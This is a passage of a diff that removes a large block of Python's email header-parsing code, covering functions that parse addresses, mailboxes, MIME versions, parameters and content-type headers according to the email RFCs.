local_part = LocalPart() - leader = None - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value: - raise errors.HeaderParseError( - "expected local-part but found '{}'".format(value)) - try: - token, value = get_dot_atom(value) - except errors.HeaderParseError: - try: - token, value = get_word(value) - except errors.HeaderParseError: - if value[0] != '\\' and value[0] in PHRASE_ENDS: - raise - token = TokenList() - if leader is not None: - token[:0] = [leader] - local_part.append(token) - if value and (value[0]=='\\' or value[0] not in PHRASE_ENDS): - obs_local_part, value = get_obs_local_part(str(local_part) + value) - if obs_local_part.token_type == 'invalid-obs-local-part': - local_part.defects.append(errors.InvalidHeaderDefect( - "local-part is not dot-atom, quoted-string, or obs-local-part")) - else: - local_part.defects.append(errors.ObsoleteHeaderDefect( - "local-part is not a dot-atom (contains CFWS)")) - local_part[0] = obs_local_part - try: - local_part.value.encode('ascii') - except UnicodeEncodeError: - local_part.defects.append(errors.NonASCIILocalPartDefect( - "local-part contains non-ASCII characters)")) - return local_part, value - -def get_obs_local_part(value): - """ obs-local-part = word *("." word) - """ - obs_local_part = ObsLocalPart() - last_non_ws_was_dot = False - while value and (value[0]=='\\' or value[0] not in PHRASE_ENDS): - if value[0] == '.': - if last_non_ws_was_dot: - obs_local_part.defects.append(errors.InvalidHeaderDefect( - "invalid repeated '.'")) - obs_local_part.append(DOT) - last_non_ws_was_dot = True - value = value[1:] - continue - elif value[0]=='\\': - obs_local_part.append(ValueTerminal(value[0], - 'misplaced-special')) - value = value[1:] - obs_local_part.defects.append(errors.InvalidHeaderDefect( - "'\\' character outside of quoted-string/ccontent")) - last_non_ws_was_dot = False - continue - if obs_local_part and obs_local_part[-1].token_type != 'dot': - obs_local_part.defects.append(errors.InvalidHeaderDefect( - "missing '.' between words")) - try: - token, value = get_word(value) - last_non_ws_was_dot = False - except errors.HeaderParseError: - if value[0] not in CFWS_LEADER: - raise - token, value = get_cfws(value) - obs_local_part.append(token) - if (obs_local_part[0].token_type == 'dot' or - obs_local_part[0].token_type=='cfws' and - obs_local_part[1].token_type=='dot'): - obs_local_part.defects.append(errors.InvalidHeaderDefect( - "Invalid leading '.' in local part")) - if (obs_local_part[-1].token_type == 'dot' or - obs_local_part[-1].token_type=='cfws' and - obs_local_part[-2].token_type=='dot'): - obs_local_part.defects.append(errors.InvalidHeaderDefect( - "Invalid trailing '.' in local part")) - if obs_local_part.defects: - obs_local_part.token_type = 'invalid-obs-local-part' - return obs_local_part, value - -def get_dtext(value): - r""" dtext = / obs-dtext - obs-dtext = obs-NO-WS-CTL / quoted-pair - - We allow anything except the excluded characters, but if we find any - ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is - added to the token's defects list. Quoted pairs are converted to their - unquoted values, so what is returned is a ptext token, in this case a - ValueTerminal. If there were quoted-printables, an ObsoleteHeaderDefect is - added to the returned token's defect list. - - """ - ptext, value, had_qp = _get_ptext_to_endchars(value, '[]') - ptext = ValueTerminal(ptext, 'ptext') - if had_qp: - ptext.defects.append(errors.ObsoleteHeaderDefect( - "quoted printable found in domain-literal")) - _validate_xtext(ptext) - return ptext, value - -def _check_for_early_dl_end(value, domain_literal): - if value: - return False - domain_literal.append(errors.InvalidHeaderDefect( - "end of input inside domain-literal")) - domain_literal.append(ValueTerminal(']', 'domain-literal-end')) - return True - -def get_domain_literal(value): - """ domain-literal = [CFWS] "[" *([FWS] dtext) [FWS] "]" [CFWS] - - """ - domain_literal = DomainLiteral() - if value[0] in CFWS_LEADER: - token, value = get_cfws(value) - domain_literal.append(token) - if not value: - raise errors.HeaderParseError("expected domain-literal") - if value[0] != '[': - raise errors.HeaderParseError("expected '[' at start of domain-literal " - "but found '{}'".format(value)) - value = value[1:] - if _check_for_early_dl_end(value, domain_literal): - return domain_literal, value - domain_literal.append(ValueTerminal('[', 'domain-literal-start')) - if value[0] in WSP: - token, value = get_fws(value) - domain_literal.append(token) - token, value = get_dtext(value) - domain_literal.append(token) - if _check_for_early_dl_end(value, domain_literal): - return domain_literal, value - if value[0] in WSP: - token, value = get_fws(value) - domain_literal.append(token) - if _check_for_early_dl_end(value, domain_literal): - return domain_literal, value - if value[0] != ']': - raise errors.HeaderParseError("expected ']' at end of domain-literal " - "but found '{}'".format(value)) - domain_literal.append(ValueTerminal(']', 'domain-literal-end')) - value = value[1:] - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - domain_literal.append(token) - return domain_literal, value - -def get_domain(value): - """ domain = dot-atom / domain-literal / obs-domain - obs-domain = atom *("." atom)) - - """ - domain = Domain() - leader = None - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value: - raise errors.HeaderParseError( - "expected domain but found '{}'".format(value)) - if value[0] == '[': - token, value = get_domain_literal(value) - if leader is not None: - token[:0] = [leader] - domain.append(token) - return domain, value - try: - token, value = get_dot_atom(value) - except errors.HeaderParseError: - token, value = get_atom(value) - if leader is not None: - token[:0] = [leader] - domain.append(token) - if value and value[0] == '.': - domain.defects.append(errors.ObsoleteHeaderDefect( - "domain is not a dot-atom (contains CFWS)")) - if domain[0].token_type == 'dot-atom': - domain[:] = domain[0] - while value and value[0] == '.': - domain.append(DOT) - token, value = get_atom(value[1:]) - domain.append(token) - return domain, value - -def get_addr_spec(value): - """ addr-spec = local-part "@" domain - - """ - addr_spec = AddrSpec() - token, value = get_local_part(value) - addr_spec.append(token) - if not value or value[0] != '@': - addr_spec.defects.append(errors.InvalidHeaderDefect( - "add-spec local part with no domain")) - return addr_spec, value - addr_spec.append(ValueTerminal('@', 'address-at-symbol')) - token, value = get_domain(value[1:]) - addr_spec.append(token) - return addr_spec, value - -def get_obs_route(value): - """ obs-route = obs-domain-list ":" - obs-domain-list = *(CFWS / ",") "@" domain *("," [CFWS] ["@" domain]) - - Returns an obs-route token with the appropriate sub-tokens (that is, - there is no obs-domain-list in the parse tree). - """ - obs_route = ObsRoute() - while value and (value[0]==',' or value[0] in CFWS_LEADER): - if value[0] in CFWS_LEADER: - token, value = get_cfws(value) - obs_route.append(token) - elif value[0] == ',': - obs_route.append(ListSeparator) - value = value[1:] - if not value or value[0] != '@': - raise errors.HeaderParseError( - "expected obs-route domain but found '{}'".format(value)) - obs_route.append(RouteComponentMarker) - token, value = get_domain(value[1:]) - obs_route.append(token) - while value and value[0]==',': - obs_route.append(ListSeparator) - value = value[1:] - if not value: - break - if value[0] in CFWS_LEADER: - token, value = get_cfws(value) - obs_route.append(token) - if value[0] == '@': - obs_route.append(RouteComponentMarker) - token, value = get_domain(value[1:]) - obs_route.append(token) - if not value: - raise errors.HeaderParseError("end of header while parsing obs-route") - if value[0] != ':': - raise errors.HeaderParseError( "expected ':' marking end of " - "obs-route but found '{}'".format(value)) - obs_route.append(ValueTerminal(':', 'end-of-obs-route-marker')) - return obs_route, value[1:] - -def get_angle_addr(value): - """ angle-addr = [CFWS] "<" addr-spec ">" [CFWS] / obs-angle-addr - obs-angle-addr = [CFWS] "<" obs-route addr-spec ">" [CFWS] - - """ - angle_addr = AngleAddr() - if value[0] in CFWS_LEADER: - token, value = get_cfws(value) - angle_addr.append(token) - if not value or value[0] != '<': - raise errors.HeaderParseError( - "expected angle-addr but found '{}'".format(value)) - angle_addr.append(ValueTerminal('<', 'angle-addr-start')) - value = value[1:] - # Although it is not legal per RFC5322, SMTP uses '<>' in certain - # circumstances. - if value[0] == '>': - angle_addr.append(ValueTerminal('>', 'angle-addr-end')) - angle_addr.defects.append(errors.InvalidHeaderDefect( - "null addr-spec in angle-addr")) - value = value[1:] - return angle_addr, value - try: - token, value = get_addr_spec(value) - except errors.HeaderParseError: - try: - token, value = get_obs_route(value) - angle_addr.defects.append(errors.ObsoleteHeaderDefect( - "obsolete route specification in angle-addr")) - except errors.HeaderParseError: - raise errors.HeaderParseError( - "expected addr-spec or obs-route but found '{}'".format(value)) - angle_addr.append(token) - token, value = get_addr_spec(value) - angle_addr.append(token) - if value and value[0] == '>': - value = value[1:] - else: - angle_addr.defects.append(errors.InvalidHeaderDefect( - "missing trailing '>' on angle-addr")) - angle_addr.append(ValueTerminal('>', 'angle-addr-end')) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - angle_addr.append(token) - return angle_addr, value - -def get_display_name(value): - """ display-name = phrase - - Because this is simply a name-rule, we don't return a display-name - token containing a phrase, but rather a display-name token with - the content of the phrase. - - """ - display_name = DisplayName() - token, value = get_phrase(value) - display_name.extend(token[:]) - display_name.defects = token.defects[:] - return display_name, value - - -def get_name_addr(value): - """ name-addr = [display-name] angle-addr - - """ - name_addr = NameAddr() - # Both the optional display name and the angle-addr can start with cfws. - leader = None - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value: - raise errors.HeaderParseError( - "expected name-addr but found '{}'".format(leader)) - if value[0] != '<': - if value[0] in PHRASE_ENDS: - raise errors.HeaderParseError( - "expected name-addr but found '{}'".format(value)) - token, value = get_display_name(value) - if not value: - raise errors.HeaderParseError( - "expected name-addr but found '{}'".format(token)) - if leader is not None: - token[0][:0] = [leader] - leader = None - name_addr.append(token) - token, value = get_angle_addr(value) - if leader is not None: - token[:0] = [leader] - name_addr.append(token) - return name_addr, value - -def get_mailbox(value): - """ mailbox = name-addr / addr-spec - - """ - # The only way to figure out if we are dealing with a name-addr or an - # addr-spec is to try parsing each one. - mailbox = Mailbox() - try: - token, value = get_name_addr(value) - except errors.HeaderParseError: - try: - token, value = get_addr_spec(value) - except errors.HeaderParseError: - raise errors.HeaderParseError( - "expected mailbox but found '{}'".format(value)) - if any(isinstance(x, errors.InvalidHeaderDefect) - for x in token.all_defects): - mailbox.token_type = 'invalid-mailbox' - mailbox.append(token) - return mailbox, value - -def get_invalid_mailbox(value, endchars): - """ Read everything up to one of the chars in endchars. - - This is outside the formal grammar. The InvalidMailbox TokenList that is - returned acts like a Mailbox, but the data attributes are None. - - """ - invalid_mailbox = InvalidMailbox() - while value and value[0] not in endchars: - if value[0] in PHRASE_ENDS: - invalid_mailbox.append(ValueTerminal(value[0], - 'misplaced-special')) - value = value[1:] - else: - token, value = get_phrase(value) - invalid_mailbox.append(token) - return invalid_mailbox, value - -def get_mailbox_list(value): - """ mailbox-list = (mailbox *("," mailbox)) / obs-mbox-list - obs-mbox-list = *([CFWS] ",") mailbox *("," [mailbox / CFWS]) - - For this routine we go outside the formal grammar in order to improve error - handling. We recognize the end of the mailbox list only at the end of the - value or at a ';' (the group terminator). This is so that we can turn - invalid mailboxes into InvalidMailbox tokens and continue parsing any - remaining valid mailboxes. We also allow all mailbox entries to be null, - and this condition is handled appropriately at a higher level. - - """ - mailbox_list = MailboxList() - while value and value[0] != ';': - try: - token, value = get_mailbox(value) - mailbox_list.append(token) - except errors.HeaderParseError: - leader = None - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value or value[0] in ',;': - mailbox_list.append(leader) - mailbox_list.defects.append(errors.ObsoleteHeaderDefect( - "empty element in mailbox-list")) - else: - token, value = get_invalid_mailbox(value, ',;') - if leader is not None: - token[:0] = [leader] - mailbox_list.append(token) - mailbox_list.defects.append(errors.InvalidHeaderDefect( - "invalid mailbox in mailbox-list")) - elif value[0] == ',': - mailbox_list.defects.append(errors.ObsoleteHeaderDefect( - "empty element in mailbox-list")) - else: - token, value = get_invalid_mailbox(value, ',;') - if leader is not None: - token[:0] = [leader] - mailbox_list.append(token) - mailbox_list.defects.append(errors.InvalidHeaderDefect( - "invalid mailbox in mailbox-list")) - if value and value[0] not in ',;': - # Crap after mailbox; treat it as an invalid mailbox. - # The mailbox info will still be available. - mailbox = mailbox_list[-1] - mailbox.token_type = 'invalid-mailbox' - token, value = get_invalid_mailbox(value, ',;') - mailbox.extend(token) - mailbox_list.defects.append(errors.InvalidHeaderDefect( - "invalid mailbox in mailbox-list")) - if value and value[0] == ',': - mailbox_list.append(ListSeparator) - value = value[1:] - return mailbox_list, value - - -def get_group_list(value): - """ group-list = mailbox-list / CFWS / obs-group-list - obs-group-list = 1*([CFWS] ",") [CFWS] - - """ - group_list = GroupList() - if not value: - group_list.defects.append(errors.InvalidHeaderDefect( - "end of header before group-list")) - return group_list, value - leader = None - if value and value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value: - # This should never happen in email parsing, since CFWS-only is a - # legal alternative to group-list in a group, which is the only - # place group-list appears. - group_list.defects.append(errors.InvalidHeaderDefect( - "end of header in group-list")) - group_list.append(leader) - return group_list, value - if value[0] == ';': - group_list.append(leader) - return group_list, value - token, value = get_mailbox_list(value) - if len(token.all_mailboxes)==0: - if leader is not None: - group_list.append(leader) - group_list.extend(token) - group_list.defects.append(errors.ObsoleteHeaderDefect( - "group-list with empty entries")) - return group_list, value - if leader is not None: - token[:0] = [leader] - group_list.append(token) - return group_list, value - -def get_group(value): - """ group = display-name ":" [group-list] ";" [CFWS] - - """ - group = Group() - token, value = get_display_name(value) - if not value or value[0] != ':': - raise errors.HeaderParseError("expected ':' at end of group " - "display name but found '{}'".format(value)) - group.append(token) - group.append(ValueTerminal(':', 'group-display-name-terminator')) - value = value[1:] - if value and value[0] == ';': - group.append(ValueTerminal(';', 'group-terminator')) - return group, value[1:] - token, value = get_group_list(value) - group.append(token) - if not value: - group.defects.append(errors.InvalidHeaderDefect( - "end of header in group")) - if value[0] != ';': - raise errors.HeaderParseError( - "expected ';' at end of group but found {}".format(value)) - group.append(ValueTerminal(';', 'group-terminator')) - value = value[1:] - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - group.append(token) - return group, value - -def get_address(value): - """ address = mailbox / group - - Note that counter-intuitively, an address can be either a single address or - a list of addresses (a group). This is why the returned Address object has - a 'mailboxes' attribute which treats a single address as a list of length - one. When you need to differentiate between to two cases, extract the single - element, which is either a mailbox or a group token. - - """ - # The formal grammar isn't very helpful when parsing an address. mailbox - # and group, especially when allowing for obsolete forms, start off very - # similarly. It is only when you reach one of @, <, or : that you know - # what you've got. So, we try each one in turn, starting with the more - # likely of the two. We could perhaps make this more efficient by looking - # for a phrase and then branching based on the next character, but that - # would be a premature optimization. - address = Address() - try: - token, value = get_group(value) - except errors.HeaderParseError: - try: - token, value = get_mailbox(value) - except errors.HeaderParseError: - raise errors.HeaderParseError( - "expected address but found '{}'".format(value)) - address.append(token) - return address, value - -def get_address_list(value): - """ address_list = (address *("," address)) / obs-addr-list - obs-addr-list = *([CFWS] ",") address *("," [address / CFWS]) - - We depart from the formal grammar here by continuing to parse until the end - of the input, assuming the input to be entirely composed of an - address-list. This is always true in email parsing, and allows us - to skip invalid addresses to parse additional valid ones. - - """ - address_list = AddressList() - while value: - try: - token, value = get_address(value) - address_list.append(token) - except errors.HeaderParseError as err: - leader = None - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value or value[0] == ',': - address_list.append(leader) - address_list.defects.append(errors.ObsoleteHeaderDefect( - "address-list entry with no content")) - else: - token, value = get_invalid_mailbox(value, ',') - if leader is not None: - token[:0] = [leader] - address_list.append(Address([token])) - address_list.defects.append(errors.InvalidHeaderDefect( - "invalid address in address-list")) - elif value[0] == ',': - address_list.defects.append(errors.ObsoleteHeaderDefect( - "empty element in address-list")) - else: - token, value = get_invalid_mailbox(value, ',') - if leader is not None: - token[:0] = [leader] - address_list.append(Address([token])) - address_list.defects.append(errors.InvalidHeaderDefect( - "invalid address in address-list")) - if value and value[0] != ',': - # Crap after address; treat it as an invalid mailbox. - # The mailbox info will still be available. - mailbox = address_list[-1][0] - mailbox.token_type = 'invalid-mailbox' - token, value = get_invalid_mailbox(value, ',') - mailbox.extend(token) - address_list.defects.append(errors.InvalidHeaderDefect( - "invalid address in address-list")) - if value: # Must be a , at this point. - address_list.append(ValueTerminal(',', 'list-separator')) - value = value[1:] - return address_list, value - -# -# XXX: As I begin to add additional header parsers, I'm realizing we probably -# have two level of parser routines: the get_XXX methods that get a token in -# the grammar, and parse_XXX methods that parse an entire field value. So -# get_address_list above should really be a parse_ method, as probably should -# be get_unstructured. -# - -def parse_mime_version(value): - """ mime-version = [CFWS] 1*digit [CFWS] "." [CFWS] 1*digit [CFWS] - - """ - # The [CFWS] is implicit in the RFC 2045 BNF. - # XXX: This routine is a bit verbose, should factor out a get_int method. - mime_version = MIMEVersion() - if not value: - mime_version.defects.append(errors.HeaderMissingRequiredValue( - "Missing MIME version number (eg: 1.0)")) - return mime_version - if value[0] in CFWS_LEADER: - token, value = get_cfws(value) - mime_version.append(token) - if not value: - mime_version.defects.append(errors.HeaderMissingRequiredValue( - "Expected MIME version number but found only CFWS")) - digits = '' - while value and value[0] != '.' and value[0] not in CFWS_LEADER: - digits += value[0] - value = value[1:] - if not digits.isdigit(): - mime_version.defects.append(errors.InvalidHeaderDefect( - "Expected MIME major version number but found {!r}".format(digits))) - mime_version.append(ValueTerminal(digits, 'xtext')) - else: - mime_version.major = int(digits) - mime_version.append(ValueTerminal(digits, 'digits')) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - mime_version.append(token) - if not value or value[0] != '.': - if mime_version.major is not None: - mime_version.defects.append(errors.InvalidHeaderDefect( - "Incomplete MIME version; found only major number")) - if value: - mime_version.append(ValueTerminal(value, 'xtext')) - return mime_version - mime_version.append(ValueTerminal('.', 'version-separator')) - value = value[1:] - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - mime_version.append(token) - if not value: - if mime_version.major is not None: - mime_version.defects.append(errors.InvalidHeaderDefect( - "Incomplete MIME version; found only major number")) - return mime_version - digits = '' - while value and value[0] not in CFWS_LEADER: - digits += value[0] - value = value[1:] - if not digits.isdigit(): - mime_version.defects.append(errors.InvalidHeaderDefect( - "Expected MIME minor version number but found {!r}".format(digits))) - mime_version.append(ValueTerminal(digits, 'xtext')) - else: - mime_version.minor = int(digits) - mime_version.append(ValueTerminal(digits, 'digits')) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - mime_version.append(token) - if value: - mime_version.defects.append(errors.InvalidHeaderDefect( - "Excess non-CFWS text after MIME version")) - mime_version.append(ValueTerminal(value, 'xtext')) - return mime_version - -def get_invalid_parameter(value): - """ Read everything up to the next ';'. - - This is outside the formal grammar. The InvalidParameter TokenList that is - returned acts like a Parameter, but the data attributes are None. - - """ - invalid_parameter = InvalidParameter() - while value and value[0] != ';': - if value[0] in PHRASE_ENDS: - invalid_parameter.append(ValueTerminal(value[0], - 'misplaced-special')) - value = value[1:] - else: - token, value = get_phrase(value) - invalid_parameter.append(token) - return invalid_parameter, value - -def get_ttext(value): - """ttext = - - We allow any non-TOKEN_ENDS in ttext, but add defects to the token's - defects list if we find non-ttext characters. We also register defects for - *any* non-printables even though the RFC doesn't exclude all of them, - because we follow the spirit of RFC 5322. - - """ - m = _non_token_end_matcher(value) - if not m: - raise errors.HeaderParseError( - "expected ttext but found '{}'".format(value)) - ttext = m.group() - value = value[len(ttext):] - ttext = ValueTerminal(ttext, 'ttext') - _validate_xtext(ttext) - return ttext, value - -def get_token(value): - """token = [CFWS] 1*ttext [CFWS] - - The RFC equivalent of ttext is any US-ASCII chars except space, ctls, or - tspecials. We also exclude tabs even though the RFC doesn't. - - The RFC implies the CFWS but is not explicit about it in the BNF. - - """ - mtoken = Token() - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - mtoken.append(token) - if value and value[0] in TOKEN_ENDS: - raise errors.HeaderParseError( - "expected token but found '{}'".format(value)) - token, value = get_ttext(value) - mtoken.append(token) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - mtoken.append(token) - return mtoken, value - -def get_attrtext(value): - """attrtext = 1*(any non-ATTRIBUTE_ENDS character) - - We allow any non-ATTRIBUTE_ENDS in attrtext, but add defects to the - token's defects list if we find non-attrtext characters. We also register - defects for *any* non-printables even though the RFC doesn't exclude all of - them, because we follow the spirit of RFC 5322. - - """ - m = _non_attribute_end_matcher(value) - if not m: - raise errors.HeaderParseError( - "expected attrtext but found {!r}".format(value)) - attrtext = m.group() - value = value[len(attrtext):] - attrtext = ValueTerminal(attrtext, 'attrtext') - _validate_xtext(attrtext) - return attrtext, value - -def get_attribute(value): - """ [CFWS] 1*attrtext [CFWS] - - This version of the BNF makes the CFWS explicit, and as usual we use a - value terminal for the actual run of characters. The RFC equivalent of - attrtext is the token characters, with the subtraction of '*', "'", and '%'. - We include tab in the excluded set just as we do for token. - - """ - attribute = Attribute() - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - attribute.append(token) - if value and value[0] in ATTRIBUTE_ENDS: - raise errors.HeaderParseError( - "expected token but found '{}'".format(value)) - token, value = get_attrtext(value) - attribute.append(token) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - attribute.append(token) - return attribute, value - -def get_extended_attrtext(value): - """attrtext = 1*(any non-ATTRIBUTE_ENDS character plus '%') - - This is a special parsing routine so that we get a value that - includes % escapes as a single string (which we decode as a single - string later). - - """ - m = _non_extended_attribute_end_matcher(value) - if not m: - raise errors.HeaderParseError( - "expected extended attrtext but found {!r}".format(value)) - attrtext = m.group() - value = value[len(attrtext):] - attrtext = ValueTerminal(attrtext, 'extended-attrtext') - _validate_xtext(attrtext) - return attrtext, value - -def get_extended_attribute(value): - """ [CFWS] 1*extended_attrtext [CFWS] - - This is like the non-extended version except we allow % characters, so that - we can pick up an encoded value as a single string. - - """ - # XXX: should we have an ExtendedAttribute TokenList? - attribute = Attribute() - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - attribute.append(token) - if value and value[0] in EXTENDED_ATTRIBUTE_ENDS: - raise errors.HeaderParseError( - "expected token but found '{}'".format(value)) - token, value = get_extended_attrtext(value) - attribute.append(token) - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - attribute.append(token) - return attribute, value - -def get_section(value): - """ '*' digits - - The formal BNF is more complicated because leading 0s are not allowed. We - check for that and add a defect. We also assume no CFWS is allowed between - the '*' and the digits, though the RFC is not crystal clear on that. - The caller should already have dealt with leading CFWS. - - """ - section = Section() - if not value or value[0] != '*': - raise errors.HeaderParseError("Expected section but found {}".format( - value)) - section.append(ValueTerminal('*', 'section-marker')) - value = value[1:] - if not value or not value[0].isdigit(): - raise errors.HeaderParseError("Expected section number but " - "found {}".format(value)) - digits = '' - while value and value[0].isdigit(): - digits += value[0] - value = value[1:] - if digits[0] == '0' and digits != '0': - section.defects.append(errors.InvalidHeaderError("section number" - "has an invalid leading 0")) - section.number = int(digits) - section.append(ValueTerminal(digits, 'digits')) - return section, value - - -def get_value(value): - """ quoted-string / attribute - - """ - v = Value() - if not value: - raise errors.HeaderParseError("Expected value but found end of string") - leader = None - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value: - raise errors.HeaderParseError("Expected value but found " - "only {}".format(leader)) - if value[0] == '"': - token, value = get_quoted_string(value) - else: - token, value = get_extended_attribute(value) - if leader is not None: - token[:0] = [leader] - v.append(token) - return v, value - -def get_parameter(value): - """ attribute [section] ["*"] [CFWS] "=" value - - The CFWS is implied by the RFC but not made explicit in the BNF. This - simplified form of the BNF from the RFC is made to conform with the RFC BNF - through some extra checks. We do it this way because it makes both error - recovery and working with the resulting parse tree easier. - """ - # It is possible CFWS would also be implicitly allowed between the section - # and the 'extended-attribute' marker (the '*') , but we've never seen that - # in the wild and we will therefore ignore the possibility. - param = Parameter() - token, value = get_attribute(value) - param.append(token) - if not value or value[0] == ';': - param.defects.append(errors.InvalidHeaderDefect("Parameter contains " - "name ({}) but no value".format(token))) - return param, value - if value[0] == '*': - try: - token, value = get_section(value) - param.sectioned = True - param.append(token) - except errors.HeaderParseError: - pass - if not value: - raise errors.HeaderParseError("Incomplete parameter") - if value[0] == '*': - param.append(ValueTerminal('*', 'extended-parameter-marker')) - value = value[1:] - param.extended = True - if value[0] != '=': - raise errors.HeaderParseError("Parameter not followed by '='") - param.append(ValueTerminal('=', 'parameter-separator')) - value = value[1:] - leader = None - if value and value[0] in CFWS_LEADER: - token, value = get_cfws(value) - param.append(token) - remainder = None - appendto = param - if param.extended and value and value[0] == '"': - # Now for some serious hackery to handle the common invalid case of - # double quotes around an extended value. We also accept (with defect) - # a value marked as encoded that isn't really. - qstring, remainder = get_quoted_string(value) - inner_value = qstring.stripped_value - semi_valid = False - if param.section_number == 0: - if inner_value and inner_value[0] == "'": - semi_valid = True - else: - token, rest = get_attrtext(inner_value) - if rest and rest[0] == "'": - semi_valid = True - else: - try: - token, rest = get_extended_attrtext(inner_value) - except: - pass - else: - if not rest: - semi_valid = True - if semi_valid: - param.defects.append(errors.InvalidHeaderDefect( - "Quoted string value for extended parameter is invalid")) - param.append(qstring) - for t in qstring: - if t.token_type == 'bare-quoted-string': - t[:] = [] - appendto = t - break - value = inner_value - else: - remainder = None - param.defects.append(errors.InvalidHeaderDefect( - "Parameter marked as extended but appears to have a " - "quoted string value that is non-encoded")) - if value and value[0] == "'": - token = None - else: - token, value = get_value(value) - if not param.extended or param.section_number > 0: - if not value or value[0] != "'": - appendto.append(token) - if remainder is not None: - assert not value, value - value = remainder - return param, value - param.defects.append(errors.InvalidHeaderDefect( - "Apparent initial-extended-value but attribute " - "was not marked as extended or was not initial section")) - if not value: - # Assume the charset/lang is missing and the token is the value. - param.defects.append(errors.InvalidHeaderDefect( - "Missing required charset/lang delimiters")) - appendto.append(token) - if remainder is None: - return param, value - else: - if token is not None: - for t in token: - if t.token_type == 'extended-attrtext': - break - t.token_type == 'attrtext' - appendto.append(t) - param.charset = t.value - if value[0] != "'": - raise errors.HeaderParseError("Expected RFC2231 char/lang encoding " - "delimiter, but found {!r}".format(value)) - appendto.append(ValueTerminal("'", 'RFC2231-delimiter')) - value = value[1:] - if value and value[0] != "'": - token, value = get_attrtext(value) - appendto.append(token) - param.lang = token.value - if not value or value[0] != "'": - raise errors.HeaderParseError("Expected RFC2231 char/lang encoding " - "delimiter, but found {}".format(value)) - appendto.append(ValueTerminal("'", 'RFC2231-delimiter')) - value = value[1:] - if remainder is not None: - # Treat the rest of value as bare quoted string content. - v = Value() - while value: - if value[0] in WSP: - token, value = get_fws(value) - else: - token, value = get_qcontent(value) - v.append(token) - token = v - else: - token, value = get_value(value) - appendto.append(token) - if remainder is not None: - assert not value, value - value = remainder - return param, value - -def parse_mime_parameters(value): - """ parameter *( ";" parameter ) - - That BNF is meant to indicate this routine should only be called after - finding and handling the leading ';'. There is no corresponding rule in - the formal RFC grammar, but it is more convenient for us for the set of - parameters to be treated as its own TokenList. - - This is 'parse' routine because it consumes the reminaing value, but it - would never be called to parse a full header. Instead it is called to - parse everything after the non-parameter value of a specific MIME header. - - """ - mime_parameters = MimeParameters() - while value: - try: - token, value = get_parameter(value) - mime_parameters.append(token) - except errors.HeaderParseError as err: - leader = None - if value[0] in CFWS_LEADER: - leader, value = get_cfws(value) - if not value: - mime_parameters.append(leader) - return mime_parameters - if value[0] == ';': - if leader is not None: - mime_parameters.append(leader) - mime_parameters.defects.append(errors.InvalidHeaderDefect( - "parameter entry with no content")) - else: - token, value = get_invalid_parameter(value) - if leader: - token[:0] = [leader] - mime_parameters.append(token) - mime_parameters.defects.append(errors.InvalidHeaderDefect( - "invalid parameter {!r}".format(token))) - if value and value[0] != ';': - # Junk after the otherwise valid parameter. Mark it as - # invalid, but it will have a value. - param = mime_parameters[-1] - param.token_type = 'invalid-parameter' - token, value = get_invalid_parameter(value) - param.extend(token) - mime_parameters.defects.append(errors.InvalidHeaderDefect( - "parameter with invalid trailing text {!r}".format(token))) - if value: - # Must be a ';' at this point. - mime_parameters.append(ValueTerminal(';', 'parameter-separator')) - value = value[1:] - return mime_parameters - -def _find_mime_parameters(tokenlist, value): - """Do our best to find the parameters in an invalid MIME header - - """ - while value and value[0] != ';': - if value[0] in PHRASE_ENDS: - tokenlist.append(ValueTerminal(value[0], 'misplaced-special')) - value = value[1:] - else: - token, value = get_phrase(value) - tokenlist.append(token) - if not value: - return - tokenlist.append(ValueTerminal(';', 'parameter-separator')) - tokenlist.append(parse_mime_parameters(value[1:])) - -def parse_content_type_header(value): - """ maintype "/" subtype *( ";" parameter ) - - The maintype and substype are tokens. Theoretically they could - be checked against the official IANA list + x-token, but we - don't do that. - """ - ctype = ContentType() - recover = False - if not value: - ctype.defects.append(errors.HeaderMissingRequiredValue( - "Missing content type specification")) - return ctype - try: - token, value = get_token(value) - except errors.HeaderParseError: - ctype.defects.append(errors.InvalidHeaderDefect( - "Expected content maintype but found {!r}".format(value))) - _find_mime_parameters(ctype, value) - return ctype - ctype.append(token) - # XXX: If we really want to follow the formal grammar we should make - # mantype and subtype specialized TokenLists here. Probably not worth it. - if not value or value[0] != '/': - ctype.defects.append(errors.InvalidHeaderDefect( - "Invalid content type")) - if value: - _find_mime_parameters(ctype, value) - return ctype - ctype.maintype = token.value.strip().lower() - ctype.append(ValueTerminal('/', 'content-type-separator')) - value = value[1:] - try: - token, value = get_token(value) - except errors.HeaderParseError: - ctype.defects.append(errors.InvalidHeaderDefect( - "Expected content subtype but found {!r}".format(value))) - _find_mime_parameters(ctype, value) - return ctype - ctype.append(token) - ctype.subtype = token.value.strip().lower() - if not value: - return ctype - if value[0] != ';': - ctype.defects.append(errors.InvalidHeaderDefect( - "Only parameters are valid after content type, but " - "found {!r}".format(value))) - # The RFC requires that a syntactically invalid content-type be treated - # as text/plain. Perhaps we should postel this, but we should probably - # only do that if we were checking the subtype value against IANA. - del ctype.maintype, ctype.subtype - _find_mime_parameters(ctype, value) - return ctype - ctype.append(ValueTerminal(';', 'parameter-separator')) - ctype.append(parse_mime_parameters(value[1:])) - return ctype - -def parse_content_disposition_header(value): - """ disposition-type *( ";" parameter ) - - """ - disp_header = ContentDisposition() - if not value: - disp_header.defects.append(errors.HeaderMissingRequiredValue( - "Missing content disposition")) - return disp_header - try: - token, value = get_token(value) - except errors.HeaderParseError: - disp_header.defects.append(errors.InvalidHeaderDefect( - "Expected content disposition but found 